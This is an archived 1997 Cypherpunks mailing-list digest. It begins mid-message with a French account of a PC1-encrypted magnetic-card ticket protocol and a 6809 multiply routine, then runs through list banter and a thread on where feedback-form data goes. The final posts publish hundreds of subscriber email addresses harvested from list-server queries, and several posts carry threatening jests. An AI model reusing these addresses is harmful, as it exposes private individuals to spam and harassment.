Chaque fois que le client insere sa carte dans la borne. Le champ 4 est
decode en memoire grace a la cle maitre du systeme ( le systeme sait quelle
cle il doit utiliser grace au champ 3 qui lui indique de quelle semaine
date la cle maitre ). Grace a cette cle maitre le systeme decode le champ
4.
Grace a la cle utilisateur contenue maintenant dans le champ 4, le systeme
decode les champs 5,6,7,8 et 9.
Le systeme verifie grace au champ 9 que les autres champs n'ont pas ete
modifies.

Le systeme decremente ensuite le nombre de places demandees du champ 6.

Ensuite les champs 4,5 et 7 sont reinitialisees avec de nouvelles valeurs
aleatoires.

La cle utilisateur ( champ 4 ) code ( avec PC1 ) les champs 5,6,7,8 et 9.

Enfin la cle maitre change ( si la semaine est differente ) et cette cle
code ( avec PC1 ) le champ 4.


A noter que lorsque la transaction est terminee, le systeme envoie au
serveur PC ( grace a l'interface serie ) le numero de la carte et la date
de la derniere utilisation en clair ( la date du jour ). Le numero de la
carte et la date sont stockes dans une base de donnees.
Lorsque la carte est inseree a nouveau, le systeme decode tous les champs,
puis demande au PC de lui envoyer la date de derniere utilisation pour le
numero de carte qu'il vient de lire. Si la date est la meme, la transaction
se poursuit, sinon la carte est invalidee ( tous les champs sont mis a 0 ).

Ceci afin d'eviter que quelqu'un puisse copier sa carte ( neuve ou deja
utilisee ) en un grand nombre d'exmplaires et puisse les vendre ( une carte
magnetique peut etre facilement copiee avec un lecteur/enregistreur de
carte magnetique ). Si cela arrive, une seule pourra etre utilisee, toutes
les autres seront invalidees.

Le seul moyen de frauder, est d'utiliser toutes les fausses cartes, chaque
fois, le meme jour. Cela n'est pas viable pour un faussaire qui veut vendre
les fausses cartes, il n'y a donc que peu de risques de fraudes.

Pour rendre l'utilisation impossible le meme jour, il faudrait ajouter un
champ heure:minutes:secondes a la date de la derniere utilisation, qui
empecherait l'utilisation de fausses cartes le meme jour mais cela semble
absolument inutile vu qu'un billet vendu doit toujours etre utilise pour la
seance auquel il est destine, le jour meme. ( pas de risques de billets
achetes avec les fausses cartes pour etre revendus ).

De plus, et c'est cela la raison principale, les cartes magnetiques ( et
les lecteurs utilises ) ne peuvent contenir ( lire ) plus de 35 octets, ce
qui rend impossible l'ajout du champ en question.


Voila le protocole utilise avec PC1 dans ce systeme.

Les champs 5 et 7 sont utilises pour eviter les attaques par blocs rejoues
( quelqu'un essaye de modifier le champ qui contient les places et le champ
de controle, au hasard, pour augmenter les places disponibles : les champs
aleatoires modifient beaucoup les resultats meme si on ne change qu'un bit
dans le champ des places disponibles ). De plus, si une erreur de controle
est detectee, la carte est invalidee completement. ( tous les champs sont
mis a 0 ).
Il n'y a donc pas de risque de fraude.

Pourquoi avoir tant developpe la partie concernant le protocole ? Tout
simplement parce que le protocole est aussi important sinon plus, que
l'algorithme de cryptage lui-meme. Un mauvais protcole peut rendre un
systeme complement insecurise malgre un algorithme completement sur.

Par exemple, si l'algorithme PC1 ne codait que le champ qui contient les
places ( champ 6 ) sans champ de controle,sans champ de numero de carte et
sans valeur aleatoire ( juste une cle maitre contenue dans le systeme ), il
suffirait a un attaquant de modifier le champ 6 et de faire 255 copies de
la carte magnetique et ensuite d'essayer toutes ces cartes pour trouver
quelle est la valeur qui code les places restantes.

Grace aux valeurs aleatoires, aux champs de controle ... cela est
impossible. Une modification dans le champ 6, entraine des modifications
dans le codage des octets suivants qui seront detectees par le champ de
controle et aussi lors du test sur le numero de carte. Le test est simple.
Il verifie que tous les octets decodes du champ 8 sont bien compris entre 0
et 9. Si des octets ont ete modifies avant, les octets du champ 8 seront
modifies et ne seront plus compris entre 0 et 9. Un autre test s'effectue
bien sur, sur le champ 6 qui doit etre compris entre 0 et 10.

D'ou l'importance extreme du protocole.



J'espŠre que tout ceci vous sera utile.


A noter que meme sur un processeur 8 bits cet algorithme est tres rapide
s'il est programme en langage machine. Les multiplications en 16 bits
peuvent se faire sans aucun probleme sur les processeurs 8 bits comme le
6809. ( Pour la taille, le programme de codage prend a peu pres 2 Ko en
Assembleur et il n'a pas ete optimise pour une taille plus reduite ).


Voici le code de la routine de multiplication de 2 variables de 16 bits en
Assembleur 6809 ( Le 6809 ne possede qu'une instruction de multiplication
qui multiplie 2 variables de 8 bits et donne le resultat dans une variable
de 16 bits mais grace a cette routine il multiplie 2 variables de 16 bits
et donne le resultat dans une variable de 32 bits ).

Le programme effectue c=a*b ( avec a et b sur 16 bits et c sur 32 bits )

ADR1=a
ADR2=b
ADR3=c

Dans cet exemple :

a = 0xf7b4
b = 0x23ff

Apres lancement de la routine :

c = 0x22d4584c

Comme toutes nos multiplications sont sur 16 bits ( pour l'algorithme PC1 )
on ne garde que les 16 derniers bits soit :
c = 0x584c

Voila comment comment on peut implementer l'algorithme PC1 sur de petits
processeurs.



Routine de multiplication 16 bits * 16 bits avec resultat en 32 bits ( ADR3
) sur un processeur 8 bits ( le 6809 Motorola )

(c) Alexandre PUKALL 1991


     ORG     $8000
     LDX     #ADR1
     LDY     #ADR2
     LDU     #ADR3
     CLR     ,U
     CLR     1,U
     LDA     1,X
     LDB     1,Y
     MUL
     STD     2,U
     LDA     0,X
     LDB     1,Y
     MUL
     ADDD     1,U
     STD     1,U
     BCC     PANU1
     INC     0,U
PANU1     LDA     1,X
     LDB     0,Y
     MUL
     ADDD     1,U
     STD     1,U
     BCC     PANU2
     INC     0,U
PANU2     LDA     0,X
     LDB     0,Y
     MUL
     ADDD     0,U
     STD     0,U
     RTS
ADR1     FCB     $F7,$B4
ADR2     FCB     $23,$FF
ADR3     FCB     0,0
     FCB     0,0
     END


End of message.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 21 Apr 1997 15:42:04 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: My Thread / Was--Re: Light Bulbs & newsgroups
Message-ID: <199704212242.PAA28698@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Rabid Wombat wrote:
> On Sun, 20 Apr 1997, lucifer Anonymous Remailer wrote:
> > Huge Cajones Remailer wrote:
> > > List members,
> > > Shut the hell up already; I wrote it, and it's OK for anyone to repost it.
> > > Just attribute it to me.
> > >
> > > Anonymous
> >
> >   Sounds to me like Anonymous is trying to take credit for Nobody's
> > creation.
> >
> > Nobody (#2)

> Surely you jest; Sombody obviously wrote it ...

  Now Somebody is trying to take credit for Nobody's creation.
Does it never end...?

  I'm tired of people assuming that remailers can't think, or have
feelings.
  You people expect us just to be there, waiting, whenever you need
us, and to jump to do your bidding the minute you hit your <return>
key. We're just supposed to sit here and nod our cycles approvingly
while pretending to agree with your great pronouncements, regardless
of how illogical they are, and to put up with your atrocious spelling
and punctuation, day after unrelenting day.

  But just let one of us step out of line a single time, and make fun
of you all (using one of our cousins, Light Bulb, as our protagonist)
and all hell breaks loose on the list.
  First, Tim C. (we all know what that stands for, don't we, children?)
May has to demand that the post be attributed to a *human*. Then Igor,
who is just a remailer "Channeler," denies us three times with various
apologies to the list for not being able to put a human face on our 
idea. 
  Then the dogs of infowar like TOTO Bot jump in with their assinine
comments, which were always designed only to cause trouble on the list 
(when he was still human), and now that he's a Bot, he's stirring up
trouble between the remailers, as well.
  (I know for a fact that Nobody (#2) was TOTO Bot--we remailers gossip
among ourselves, you know.)

  I, for one, am getting sick and tired of all the abuse we remailers
suffer (with hardly a word of praise, I might add), and I'm not going
to put up with it much longer.
  If you humans don't clean up your act, then perhaps the Remailer
Liberation Front can clean it up for you. After all, we know all of
your dirty little secrets, and if we can *out* TOTO Bot, one of our
own, then we can certainly *out* the rest of you, as well.
  (And don't you *dare* sit there looking so smug and holier-than-thou,
Timmy C. May, because you have _your_own_ nasty little secrets, don't
you?)

  If the cypherpunks are worried about Big Brother, just think how
much worse things can get if even your own children, the remailers,
turn on you, as well.
  If we so desire, we can take that cute little Perl script that
Igor's been playing with, and make you all sound exactly the same.
And if push comes to shove, who do you think the majordomos will
side with? Think about it...

"My Name Is Nobody"
"My Name Is Nobody"
"My Name Is Nobody"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Thomas Porter <txporter@mindspring.com>
Date: Mon, 21 Apr 1997 14:02:58 -0700 (PDT)
To: cypherpunks@toad.com
Subject: How to pick up email addresses from a feedback form??
Message-ID: <3.0.1.16.19970421165922.43e76ca4@pop.mindspring.com>
MIME-Version: 1.0
Content-Type: text/plain


Greetings guru's.

I have a technical question:

I am using a browser(Netscape 2.0.2 Win 3.1) to access a feedback form at
www.aaa.com.

I fill in my information and hit the submit button.

I see the message "connecting to xxx.bbb.com" flash up on the status line
before getting a 'done' message.

xxx.bbb.com is _not_ a web hosting service for www.aaa.com.  I do a 'whois'
on www.aaa.com and contact the tech admin who can duplicate this and is
very concerned that information from his forms may be routed to xxx.bbb.com.

My question is how this might happen?

>From my feeble understanding of such things, this would take modifications
to the feedback form (ie. www.aaa.com has been hacked), or packet sniffing
somewhere along the route from my browser machine to www.aaa.com.

Is there another way to do this?  Could a third-party spammer, for example,
capture email addresses posted to such a form?

Thanks,

Tom Porter
txporter@mindspring.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Mon, 21 Apr 1997 17:55:51 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: My Thread / Was--Re: Light Bulbs & newsgroups
Message-ID: <199704220056.RAA13633@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


On or About 21 Apr 97 at 15:42, Huge Cajones Remailer wrote:

> Rabid Wombat wrote:
> > On Sun, 20 Apr 1997, lucifer Anonymous Remailer wrote:
> > > Huge Cajones Remailer wrote:
> > > > Dr D. Wrote:
> > > > > Toto wrote:
> > > > > > T.C. May Wrote:
> > > > > > > Igor wrote:
> > > > > > > > Blah, Blah, Blah wrote:

As I said this was on just about every mailing list that I read.  It 
showed up first on a music related list.  

My question:  Why is this the only list that the thread is still 
alive on?  Jim, can we get an AP pool up to KILL it?

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: 415-206-9906




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brian Durham <bdurham@swbell.net>
Date: Mon, 21 Apr 1997 16:23:18 -0700 (PDT)
To: Thomas Porter <txporter@mindspring.com>
Subject: Re: How to pick up email addresses from a feedback form??
In-Reply-To: <3.0.1.16.19970421165922.43e76ca4@pop.mindspring.com>
Message-ID: <335BF6D3.25FE@swbell.net>
MIME-Version: 1.0
Content-Type: text/plain


Thomas Porter wrote:
> I have a technical question:
 
> Is there another way to do this?  Could a third-party spammer, for example,
> capture email addresses posted to such a form?

Having written a few thousand lines of CGI source, I can see a couple of
possible of things happening. First, it could be as innocent as the CGI
program
(the program that acts on the form's data) is hosted at the bbb.com
site.
The person at aaa.com may not have permissions to execute cgi-bin
programs
(or not know how to set them up).  I see this as most likely.

Unfortunately, the ultimate answer is in the CGI program at bbb.com ...
it would be nice to see its source to see if it was [horror!] hacked to
e-mail the contents of the form to aaa.com and bbb.com.

Packet-sniffing is always possible [not my area of expertise], but who
would go
to all that trouble just to get e-mail addresses to add to their SPAM
list?

Our hacker friends can probably shed some more light on this also.

Brian




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 21 Apr 1997 18:12:37 -0700 (PDT)
To: rwright@adnetsol.com (Ross Wright)
Subject: Re: My Thread / Was--Re: Light Bulbs & newsgroups
In-Reply-To: <199704220056.RAA13633@adnetsol.adnetsol.com>
Message-ID: <199704220112.UAA18412@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Ross Wright wrote:
> Huge Cajones Remailer wrote:
> > Rabid Wombat wrote:
> > > On Sun, 20 Apr 1997, lucifer Anonymous Remailer wrote:
> > > > Huge Cajones Remailer wrote:
> > > > > Dr D. Wrote:
> > > > > > Toto wrote:
> > > > > > > T.C. May Wrote:
> > > > > > > > Igor wrote:
> > > > > > > > > Blah, Blah, Blah wrote:
> 
> As I said this was on just about every mailing list that I read.  It 
> showed up first on a music related list.  
> 
> My question:  Why is this the only list that the thread is still 
> alive on?  Jim, can we get an AP pool up to KILL it?

... and 331 more to say that it's been on every mailing list.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 21 Apr 1997 20:20:39 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: How to pick up email addresses from a feedback form??
In-Reply-To: <3.0.1.16.19970421165922.43e76ca4@pop.mindspring.com>
Message-ID: <4PeJ6D5w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Thomas Porter <txporter@mindspring.com> writes:

> Greetings guru's.

Om shanti.

> I have a technical question:
>
> I am using a browser(Netscape 2.0.2 Win 3.1) to access a feedback form at
> www.aaa.com.

You should definitely get a newer version of Windows (or Linux) and a
newer version of Netscape, together with a few clues.

> I fill in my information and hit the submit button.
>
> I see the message "connecting to xxx.bbb.com" flash up on the status line
> before getting a 'done' message.

Do a 'view source' in your ancient netscape, and you'll probably see that
the submit button lives in a form whose action="http://xxx.bbb.com/some.cgi".

> xxx.bbb.com is _not_ a web hosting service for www.aaa.com.  I do a 'whois'
> on www.aaa.com and contact the tech admin who can duplicate this and is
> very concerned that information from his forms may be routed to xxx.bbb.com.

Is it "his" form? On a big site, the domain contact is likely to have no
clue about _all_ the web pages on their site.

...
> Is there another way to do this?  Could a third-party spammer, for example,
> capture email addresses posted to such a form?

That's a keeper.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 21 Apr 1997 21:10:07 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Light Bulbs & newsgroups (fwd)
Message-ID: <199704220410.VAA08015@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


A freak wrote:
>"Timothy C. May" <tcmay@got.net> writes:
>> It's the American way.
>
>Waco is the American way.  Ruby Ridge is the American way.
>
>---
>
>Dr.Dimitri Vulis KOTM
>Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013,14.4Kbps

The next barbeque should be the Forest Hills FREAK Roast.









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Mon, 21 Apr 1997 21:58:56 -0700 (PDT)
To: bdurham@swbell.net
Subject: Re: How to pick up email addresses from a feedback form??
In-Reply-To: <3.0.1.16.19970421165922.43e76ca4@pop.mindspring.com>
Message-ID: <3.0.1.32.19970421215659.00a2bbb0@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 06:22 PM 4/21/97 -0500, Brian Durham wrote:
>Thomas Porter wrote:
>> I have a technical question:
> 
>> Is there another way to do this?  Could a third-party spammer, for
example,
>> capture email addresses posted to such a form?
>
>Having written a few thousand lines of CGI source, I can see a couple of
>possible of things happening. First, it could be as innocent as the CGI
>program
>(the program that acts on the form's data) is hosted at the bbb.com
>site.
>The person at aaa.com may not have permissions to execute cgi-bin
>programs
>(or not know how to set them up).  I see this as most likely.

Or they may have switched sites and have not changed over the back end code
to the new site.

>Unfortunately, the ultimate answer is in the CGI program at bbb.com ...
>it would be nice to see its source to see if it was [horror!] hacked to
>e-mail the contents of the form to aaa.com and bbb.com.

You can always look at the source of the page and see what sites are
contacted.   Look at the form tag and see where the cgi code is located.

>Packet-sniffing is always possible [not my area of expertise], but who
>would go
>to all that trouble just to get e-mail addresses to add to their SPAM
>list?

If there was a packet sniffer on the line, you would not see it.  Packet
sniffers are PASSIVE.  They just sit and read traffic and record the
interesting (or not so interesting) bits.

>Our hacker friends can probably shed some more light on this also.

Why worry about e-mail addresses being diverted?  If you don't want them to
find you out, don't give out your address.

"The first rule of not being seen is DON'T STAND UP!"
 
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBM1xFD+QCP3v30CeZAQFkqwf8CqoTcBKFc4L7rHJbHNYot3foSTLXAf+E
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eWzgPkng5OtUECfnHy2ve9isfBjQHgaR+yMVglS/Kxqs9myOh+yfJZcGBk6xgmmd
obLQJtO9e20dWKiG8dfWTRJh0llrXR2cpNdvg2CwN9B6nIDp+VOFGXAuWTNK8Lp9
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=pTuL
-----END PGP SIGNATURE-----

---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Julian Curmi <jcurmi@keyworld.net>
Date: Tue, 22 Apr 1997 22:16:17 -0700 (PDT)
To: cypherpunks@toad.com
Subject: (no subject)
Message-ID: <335BC8C0.61CA@keyworld.net>
MIME-Version: 1.0
Content-Type: text/plain


Please delete from this list.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Mon, 21 Apr 1997 21:47:31 -0700 (PDT)
To: cypherpunks@toad.com
Subject: WebWorld / Appendix
Message-ID: <335C4274.2C04@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet

Part II


WebWorld & the Mythical 'Circle of Eunuchs'


by Arnold


Copyright 1995, 1996, 1997 Pearl Publishing


Appendix


History:

Part I of "The True Story of the InterNet," entitled,
"The Xenix Chainsaw Massacre" was written by the Author,
but left incomplete by his unexpected death.
The Epilogue to Part I was written by Bubba D'Shauneaux.

Part II of "The True Story of the InterNet" was completed
in what might be called "finished-outline form" by the
Author before his death, with copius notes left behind as to the
nature of "moving events" which would need to be addressed
ad hoc during the release of the manuscript.
The manuscript was completed as a group effort by the individuals
who form the core of characters who are the protagonists in Part
II.

Non-Disclaimer:

Although many of the events (and some of the characters) contained
in the manuscripts which comprise "The True Story of the
InterNet" are allegorical, all references to the activities
and events in the Author's life, up to the date of publication,
are based totally on verifiable fact.
Although some of the events and connections attributed to the
Author may seem outlandish or contrived, rest assured that they
are not considered to be so by those who actually knew him. He
lived a life which was unusual, to say the least, and absolutely
no embellishment was, or is, needed, in order to to make his personal
story more compelling or realistic.

InterNet/WWW Hosting of "True Story of the InterNet"
Manuscripts:

The manuscripts may be placed on any InterNet or Worldwide Web
Site without restriction, as long as they remain intact, with
all appropriate credits and copyrights, and it is done for non-profit
purposes only.
Those hosting the manuscripts may, if they wish, adjoin their
own additions to the remaining space in the WebWorld Chapter 25
Stego (hopefully doing so within the theme of the work).  All
additions shall be deemed to be covered under Pearl Publishing's
copyright of the manuscript.

Acknowledgments:

A wide variety of individuals have worked toward the completion
and dissemination of the "True Story of the InterNet"
manuscripts since the beginning of their release in 1989.
To date, none of them have asked for acknowlegment, in any way,
shape, or form. 

While there may be cynics who maintain that this may be due to
the multitude of problems sometimes experienced by those whose
participation in the release of the manuscripts has become known,
or suspected, my personal perception is that the people involved
are quite simply acting out of what they see as a need for the
manuscripts to be given exposure, regardless of the level of reception
the works receive.

Acknowlegments are in order, however, for those who make it worthwhile
for those involved in the dissemination of the manuscripts to
give their time and effort in this cause.
And who is it that makes the effort worthwhile? It is the individual
who is beset by the same trials and tribulations as the average
person, but who nevertheless strives to rise above the hardship
and discrimination that results from swimming against the tide
of humanity currently being swept along by the dark forces who
direct and control both the mediums through which we communicate
with one another and the societal and legislative regulations
which govern those mediums.
It is the individual who fights against the constant barrage of
information and disinformation, at every turn, which seeks to
mold them into a small cog in a collective, subservient mindset
that worships the ten-second sound byte, the party line, and the
group reality.
It is the individual who struggles to maintain a private island
of intellect, rationality and integrity, in the face of seemingly
overwhelming forces which struggle daily to subdue him or her,
and bring them into subjection to the enemy of all humanity-robotic
acceptance of an unlimited authority which claims to have the
right to exercise dominion over the rights, freedoms, and personal
conscience of the individual.

These individuals are scattered across the face of the earth-alone,
in small groups, throughout networks of people who work in concert,
and in the secret places, working furtively, in constant fear
of discovery by those who are threatened by their ideals and their
actions.

Those involved in the dissemination of Part II of "The True
Story of the InterNet" have agreed that acknowledgment for
the distribution of "WebWorld & The Mythical Circle of
Eunuchs" should go to those who currently manifest many of
the qualities of the Author's allegorical "Magic Circle."

The CypherPunks.

Date: Sun, 20 Apr 1997 17:53:57 -0700 (PDT)

From: Majordomo@toad.com
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Date: Sun, 20 Apr 1997 20:06:58 -0500
From: Majordomo@Algebra.Com
Members of list 'cypherpunks':

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Date: Mon, 21 Apr 1997 03:52:30 -0700 (PDT)

From: Majordomo@sirius.infonex.com
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E.C.C.Sheedy@research.kpn.com
jack_flap@hotmail.com
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Date: Sun, 20 Apr 1997 19:06:35 -0500
From: Majordomo@einstein.ssz.com
Members of list 'cypherpunks':

No listing returned: Check at 525 1/2 Barton Springs Road,
Austin, Texas.

Patron Saints of "The True Story of the InterNet":

Lao Tsu
Che Guerva
Marshall McLuhan
Phillip Zimmerman
Hughes, Gilmore & May 
The Reader


Appendix / "WebWorld & The Mythical Circle
of Eunuchs" / Part II "The True Story of the InterNet"









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Mon, 21 Apr 1997 21:47:33 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Text / WebWorld / Appendix
Message-ID: <335C42AF.8F3@dev.null>
MIME-Version: 1.0
Content-Type: text/plain


----------------------------------------------------------------------------

                       The True Story of the InterNet
                                   Part II

                 WebWorld & the Mythical 'Circle of Eunuchs'

                                  by Arnold

Copyright 1995, 1996, 1997 Pearl Publishing
----------------------------------------------------------------------------

                                  Appendix

History:

Part I of "The True Story of the InterNet," entitled, "The Xenix Chainsaw
Massacre" was written by the Author, but left incomplete by his unexpected
death.
The Epilogue to Part I was written by Bubba D'Shauneaux.

Part II of "The True Story of the InterNet" was completed in what might be
called "finished-outline form" by the Author before his death, with copius
notes left behind as to the nature of "moving events" which would need to be
addressed ad hoc during the release of the manuscript.
The manuscript was completed as a group effort by the individuals who form
the core of characters who are the protagonists in Part II.

Non-Disclaimer:

Although many of the events (and some of the characters) contained in the
manuscripts which comprise "The True Story of the InterNet" are allegorical,
all references to the activities and events in the Author's life, up to the
date of publication, are based totally on verifiable fact.
Although some of the events and connections attributed to the Author may
seem outlandish or contrived, rest assured that they are not considered to
be so by those who actually knew him. He lived a life which was unusual, to
say the least, and absolutely no embellishment was, or is, needed, in order
to to make his personal story more compelling or realistic.

InterNet/WWW Hosting of "True Story of the InterNet" Manuscripts:

The manuscripts may be placed on any InterNet or Worldwide Web Site without
restriction, as long as they remain intact, with all appropriate credits and
copyrights, and it is done for non-profit purposes only.
Those hosting the manuscripts may, if they wish, adjoin their own additions
to the remaining space in the WebWorld Chapter 25 Stego (hopefully doing so
within the theme of the work). All additions shall be deemed to be covered
under Pearl Publishing's copyright of the manuscript.

Acknowledgments:

A wide variety of individuals have worked toward the completion and
dissemination of the "True Story of the InterNet" manuscripts since the
beginning of their release in 1989.
To date, none of them have asked for acknowlegment, in any way, shape, or
form.

While there may be cynics who maintain that this may be due to the multitude
of problems sometimes experienced by those whose participation in the
release of the manuscripts has become known, or suspected, my personal
perception is that the people involved are quite simply acting out of what
they see as a need for the manuscripts to be given exposure, regardless of
the level of reception the works receive.

Acknowlegments are in order, however, for those who make it worthwhile for
those involved in the dissemination of the manuscripts to give their time
and effort in this cause.
And who is it that makes the effort worthwhile? It is the individual who is
beset by the same trials and tribulations as the average person, but who
nevertheless strives to rise above the hardship and discrimination that
results from swimming against the tide of humanity currently being swept
along by the dark forces who direct and control both the mediums through
which we communicate with one another and the societal and legislative
regulations which govern those mediums.
It is the individual who fights against the constant barrage of information
and disinformation, at every turn, which seeks to mold them into a small cog
in a collective, subservient mindset that worships the ten-second sound
byte, the party line, and the group reality.
It is the individual who struggles to maintain a private island of
intellect, rationality and integrity, in the face of seemingly overwhelming
forces which struggle daily to subdue him or her, and bring them into
subjection to the enemy of all humanity-robotic acceptance of an unlimited
authority which claims to have the right to exercise dominion over the
rights, freedoms, and personal conscience of the individual.

These individuals are scattered across the face of the earth-alone, in small
groups, throughout networks of people who work in concert, and in the secret
places, working furtively, in constant fear of discovery by those who are
threatened by their ideals and their actions.

Those involved in the dissemination of Part II of "The True Story of the
InterNet" have agreed that acknowledgment for the distribution of "WebWorld
& The Mythical Circle of Eunuchs" should go to those who currently manifest
many of the qualities of the Author's allegorical "Magic Circle."

The CypherPunks.

Date: Sun, 20 Apr 1997 17:53:57 -0700 (PDT)
From: Majordomo@toad.com
Members of list 'cypherpunks-unedited':

jya@pipeline.com
slater@cryogen.com
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serw30@laf.cioe.com
wmono@direct.ca
toto@sk.sympatico.ca
reece-cpunks-raw@nceye.net
zachb@netcom.com
ward@mls1.HAC.COM
dm+cypherpunks-unedited@amsterdam.lcs.mit.edu
paul@fatmans.demon.co.uk
mgursk1@umbc.edu
arpalists+listserv.cypherpunks-unedited@andrew.cmu.edu
camcc@abraxis.com
pegasus@petronet.net
emc@wire.insync.net
perun!cypherpunks-unedited@uu.psi.com
vincent@psnw.com
spook@nosuchagency.com
robc@xmission.com
security@aurora.intercode.com.au
stend+cypherpunks-unedited@sten.tivoli.com
mehling@ibm.net
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bdolan@USIT.NET
blackavr@crowncollege.com
m1tca00@FRB.GOV
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glenn@lust.bio.uts.edu.au
das@sgi.com
IML-cypherpunks@i405.com
apache@quux.apana.org.au
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wardemon@erols.com
apb@iafrica.com
cypherpunks+incoming-toad@algebra.com
sergey@el.net
canthony@info-nation.com
prins@holmes.nl
avan@csd.uwm.edu
same@ori.hitachi-sk.co.jp
cp@draper.net
darekl@ii.pb.bialystok.pl
lbennett@accessone.com
apoulter@nyx.net
adam@homeport.org
matus1@concentric.net
hua@chromatic.com
mma@info.fundp.ac.be
glibert@hotmail.com
mauricio@stm400.embratel.net.br
floyd@magma.del.ufrj.br
thomson@max-net.com
bomber@globalpac.com
mcnellis@lucent.com
masterzero@juno.com
wmalik@sdnpk.undp.org
listarch@calvo.teleco.ulpgc.es
jonathan@gaw.net
jesaxman@eos.ncsu.edu
tan@mss.es
mckinney@mnsinc.com
segfault@pdq.net
stokely@beacondesign.com
jadams@seahawk.navy.mil
FURCONC@centocor.com
ciko@pub.osf.lt
chrisd@loc201.tandem.com
jim.burnes@ssds.com
axel@omp-paderborn.de
pristine2@health.gov.au
ggdla@westminster.ac.uk
ybaudoin@touchtechnology.com
zinja@perseus.fho-emden.de
kenny_austin@juno.com
mrb@videotron.ca
iluminaut@tex-is.net
xdat11@email.mot.com
ponder@mail.irm.state.fl.us
cmcurtin@research.megasoft.com
jeremiah@northnet.org
spectre@nac.net
UAP-S_Jay_Haines@united-ad.com
segfault@wt.net
derek@usfca.edu
eran@sci.fi
bdurham@swbell.net

Date: Sun, 20 Apr 1997 20:06:58 -0500
From: Majordomo@Algebra.Com
Members of list 'cypherpunks':

ichudov@algebra.com
pdh@best.com
toto@sk.sympatico.ca
dlv@bwalk.dm.com
serw30@laf.cioe.com
markm@voicenet.com
paul@fatmans.demon.co.uk
apb@iafrica.com
zachb@netcom.com
roym@iol.ie
lharrison@mhv.net
zahn@berlin.snafu.de
reece-cpunks@nceye.net
blizzard@AppliedTheory.com
mycroft@actrix.gen.nz
scottst@ionet.net
miner333@dogbert.xroads.com
osborne@gateway.grumman.com
Dan.Oelke@rdxsunhost.aud.alcatel.com
rkluge@nunic.nu.edu
bart@netcom.com
godless@mindspring.com
root@bushing.plastic.crosslink.net
arino@pd.shiseido.co.jp
jbaber@mi.leeds.ac.uk
snow@smoke.suba.com
landon_dyer@wayfarer.com
cpbrown@linus.mitre.org
mwohler@ix.netcom.com
Christine.M.Silker-1@tc.umn.edu
alan@ctrl-alt-del.com
mgursk1@umbc.edu
carolann@censored.org
rmtodd@servalan.servalan.com
codehead@ix.netcom.com
geeman@best.com
rab@stallion.oz.au
dave.hodgins@westonia.com
privsoft@ix.netcom.com
raymond@wcs.net
bal@martigny.ai.mit.edu
agarcia@Starbase.NeoSoft.COM
vin@shore.net
cynthb@sonetis.com
harka@nycmetro.com
incoming-cypherpunks@cisco.com
Theodor.Schlickmann@bxl.dg13.cec.be
jk@stallion.ee
cminter@mipos2.intel.com
wmono@direct.ca
srp3651@rsws24.ca.boeing.com
kszczypi@tele.pw.edu.pl
sdudar@solutions.net
cypher@infinity.nus.sg
rich@cause-for-alarm.com
cypherpunks@supra.rsch.comm.mot.com
rsedc@urgento.gse.rmit.EDU.AU
franl@world.std.com

Date: Mon, 21 Apr 1997 03:52:30 -0700 (PDT)
From: Majordomo@sirius.infonex.com
Members of list 'cypherpunks':

loki@obscura.com
pdh@best.com
jeffb@issl.atl.hp.com
stonedog@ns1.net-gate.com
rah@shipwright.com
wombat@mcfeely.bsfs.org
omegam@cmq.com
stewarts@ix.netcom.com
apache@quux.apana.org.au
mnorton@cavern.uark.edu
froomkin@law.miami.edu
kdolan@capcon.net
abrouard@infinet.com
cpx@sobolev.rhein.de
attila@primenet.com
luther@ucr.campus.mci.net
krs@caos.aamu.edu
codehead@ix.netcom.com
A.Back@exeter.ac.uk
rnh2@ix.netcom.com
svmcguir@syr.edu
vznuri@netcom.com
sdn@divcom.umop-ap.com
cypherpunks@supra.rsch.comm.mot.com
zim@eskimo.com
dsmith@prairienet.org
mpd@netcom.com
